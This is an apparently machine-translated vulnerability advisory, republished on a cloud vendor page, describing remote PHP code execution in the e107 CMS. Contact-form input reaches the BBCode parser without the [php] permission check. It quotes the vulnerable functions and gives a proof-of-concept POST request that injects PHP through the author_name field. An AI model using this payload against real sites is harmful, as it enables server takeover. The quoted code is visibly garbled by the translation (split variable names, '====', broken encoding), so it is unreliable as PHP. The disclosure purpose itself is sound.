Arbitrary PHP code execution vulnerability in e107 BBCode

Source: Internet
Author: User

E107 is a content management system written in php.

Bbcode [php] In e107 allows arbitrary PHP code execution. This method is dangerous. The e107 configuration usually prohibits all users from accessing this bbcode. The administrator can activate this function on demand for specific user groups.

The access control check in e107 is not implemented in the bbcode parser but in some external functions that call the bbcode parser. For example:

Function post_toHTML ($ text, $ modifier = true, $ extra = ){
...

// If user is not allowed to use [php] change to entities
If (! Check_class ($ pref [php_bbcode])
{
$ Text = preg_replace ("# [(php) # I", "& #91; \ 1", $ text );
}

Return ($ modifier? $ This-> toHTML ($ text, true, $ extra): $ text );
}

This Code shows that the access check for [php] is not performed in toHTML () mode, because the check has been executed externally. This means that user input should not be directly in toHTML () mode, otherwise Remote PHP code may be executed.

However, in other places, user input can reach toHTML (), for example, in the toEmail () method:

Function toEmail ($ text, $ posted = "", $ mod = "parse_ SC, no_make_clickable ")
{
If ($ posted ==== TRUE & MAGIC_QUOTES_GPC)
{
$ Text = stripslashes ($ text );
}

$ Text = (strtolower ($ mod )! = "Rawtext ")? $ This-> replaceConstants ($ text, "full"): $ text;
$ Text = $ this-> toHTML ($ text, TRUE, $ mod );
Return $ text;
}

If user input is used in the toEmail () method, Remote PHP code may be executed. An example of this situation is in the contact. php file:

If (isset ($ _ POST [send-contactus]) {

$ Error = "";

$ Sender_name = $ tp-> toEmail ($ _ POST [author_name], TRUE, "rawtext ");
$ Sender = check_email ($ _ POST [email_send]);
$ Subject = $ tp-> toEmail ($ _ POST [subject], TRUE, "rawtext ");
$ Body = $ tp-> toEmail ($ _ POST [body], TRUE, "rawtext ");

When a POST request is submitted to the contact. PHP file, arbitrary PHP code is executed on the server.

Test code:

POST/contact. php HTTP/1.1
Host: xxxx
User-Agent: e107 0.7.20 Remote Code Execution Exploit
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

Send-contactus = 1 & author_name = [php] phpinfo () % 3 bdie () % 3b [/php] &

Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://e107.org

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.